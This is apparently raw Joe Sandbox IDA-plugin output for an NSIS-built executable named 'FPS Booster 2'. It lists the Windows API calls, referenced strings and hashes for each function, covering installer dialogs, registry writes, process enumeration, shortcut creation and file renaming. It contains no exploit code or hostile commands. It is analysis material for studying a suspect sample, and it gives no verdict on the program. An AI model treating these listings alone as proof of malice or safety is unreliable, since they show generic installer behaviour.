Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: cc3be99d98a9ea92f75939d7095cd46bb936d2bea9b18232ff9af80ebaba2d6d
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: cc3be99d98a9ea92f75939d7095cd46bb936d2bea9b18232ff9af80ebaba2d6d
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(Show,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,Show), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426D70,76F923A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

A, xrefs: 00404662
Show, xrefs: 004046A0, 004046A5, 004046B0

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: A$Show
API String ID: 3347642858-4076820621
Opcode ID: 450c1996ff3fe57422673dbeff918444172cade2dc46c3f90f2ec1556e888b3b
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: 450c1996ff3fe57422673dbeff918444172cade2dc46c3f90f2ec1556e888b3b
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

GetTTFNameString, xrefs: 00406F33
name, xrefs: 00406FEB
%s: failed opening file "%s", xrefs: 00406F38

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

GetModuleBaseNameW, xrefs: 004064C0
Kernel32.DLL, xrefs: 004065C7
EnumProcesses, xrefs: 004064AE
Module32FirstW, xrefs: 004065FF
Unknown, xrefs: 00406528
Process32FirstW, xrefs: 004065E9
Process32NextW, xrefs: 004065F4
EnumProcessModules, xrefs: 004064B6
PSAPI.DLL, xrefs: 00406490
Module32NextW, xrefs: 0040660A
CreateToolhelp32Snapshot, xrefs: 004065E1

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

F, xrefs: 004042D3
open, xrefs: 0040430B
N, xrefs: 00404298

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 6FFB10FB Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 142memorystringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000800), ref: 6FFB1126
GlobalAlloc.KERNEL32(00000040,00000800), ref: 6FFB112D
GlobalAlloc.KERNEL32(00000040,00000800), ref: 6FFB1135
GlobalAlloc.KERNEL32(00000040,00000800), ref: 6FFB113D

Part of subcall function 6FFB1E34: lstrcpynW.KERNEL32(?,?,6FFB1053,?,6FFB1053,?), ref: 6FFB1E62
Part of subcall function 6FFB1E34: GlobalFree.KERNELBASE ref: 6FFB1E72

lstrcmpiW.KERNEL32(?,save,?,00000400,00000000,00000400,?,00000400), ref: 6FFB11A0
GetFileAttributesW.KERNEL32(00000000), ref: 6FFB11AC
lstrcpyW.KERNEL32(?,00000000), ref: 6FFB11BF
lstrcpyW.KERNEL32(?,All Files|*.*), ref: 6FFB11DC
CharNextW.USER32(?), ref: 6FFB11FB
GetCurrentDirectoryW.KERNEL32(00000004,?), ref: 6FFB1212
GetSaveFileNameW.COMDLG32(00000058), ref: 6FFB1220
GetOpenFileNameW.COMDLG32(00000058), ref: 6FFB1228
CommDlgExtendedError.COMDLG32 ref: 6FFB1235
GetSaveFileNameW.COMDLG32(00000058), ref: 6FFB124F
GetOpenFileNameW.COMDLG32(00000058), ref: 6FFB1257
SetCurrentDirectoryW.KERNEL32(?,6FFB30FC), ref: 6FFB126E
GlobalFree.KERNEL32(00000000), ref: 6FFB127B
GlobalFree.KERNEL32(?), ref: 6FFB127E
GlobalFree.KERNEL32(?), ref: 6FFB1283
GlobalFree.KERNEL32(?), ref: 6FFB1288

Strings

save, xrefs: 6FFB1197
All Files|*.*, xrefs: 6FFB11D6
X, xrefs: 6FFB116D

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: Global$FileFree$AllocName$CurrentDirectoryOpenSavelstrcpy$AttributesCharCommErrorExtendedNextlstrcmpilstrcpyn
String ID: All Files|*.*$X$save
API String ID: 406688562-3147001704
Opcode ID: e92eea4bdcb840ce3a993b909062850bba8d6bd9f3578f395f098773941533ec
Instruction ID: 63c0449c1377bf51c13489ae6c84196cb582b0130166992f84d6da13fb507e9f
Opcode Fuzzy Hash: e92eea4bdcb840ce3a993b909062850bba8d6bd9f3578f395f098773941533ec
Instruction Fuzzy Hash: ED416A71D50618EBCF10AFB6CC8AB9E7FB8EF067A5F10401AE505E7290D774A950CBA0

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

^F, xrefs: 00406ACF
plF, xrefs: 00406B54
NUL, xrefs: 00406ACA
%s=%s, xrefs: 00406B6F
[Rename], xrefs: 00406BF4, 00406C03

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMulusermePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: e221c2d90e8025947b1784e6655cd8b19626974249c22bbc52333144db3dc81c
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: e221c2d90e8025947b1784e6655cd8b19626974249c22bbc52333144db3dc81c
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 6FFB14FC Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 204windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?), ref: 6FFB1558
GetDlgItem.USER32(?,?), ref: 6FFB156B
GetWindowTextW.USER32(?,?,00000400), ref: 6FFB1693
DrawTextW.USER32(?,?,000000FF,?,00000414), ref: 6FFB16B4
GetWindowLongW.USER32(?,000000EB), ref: 6FFB16FF
SetTextColor.GDI32(?,00FF0000), ref: 6FFB1711
DrawTextW.USER32(?,?,000000FF,00000000,?), ref: 6FFB172B
DrawFocusRect.USER32(?,00000010), ref: 6FFB174C
RemovePropW.USER32(00000000,NSIS: nsControl pointer property), ref: 6FFB1770

Strings

NSIS: nsControl pointer property, xrefs: 6FFB1768

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: Text$Draw$Window$ColorFocusItemLongMessagePropRectRemoveSend
String ID: NSIS: nsControl pointer property
API String ID: 2331901045-1714965683
Opcode ID: 018ee019fbdae9bc7fa1d426565270d5fddf603659528e9043f031266639bac2
Instruction ID: 6a6dae0966c6c93ebabd9e399e0e5e2e188b22a33a755542c90030726c8f56c0
Opcode Fuzzy Hash: 018ee019fbdae9bc7fa1d426565270d5fddf603659528e9043f031266639bac2
Instruction Fuzzy Hash: F771DF715042099BDF11DF26CD84BAA7BF9FF02354F10456EE821DB2A6E730E891CB90

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

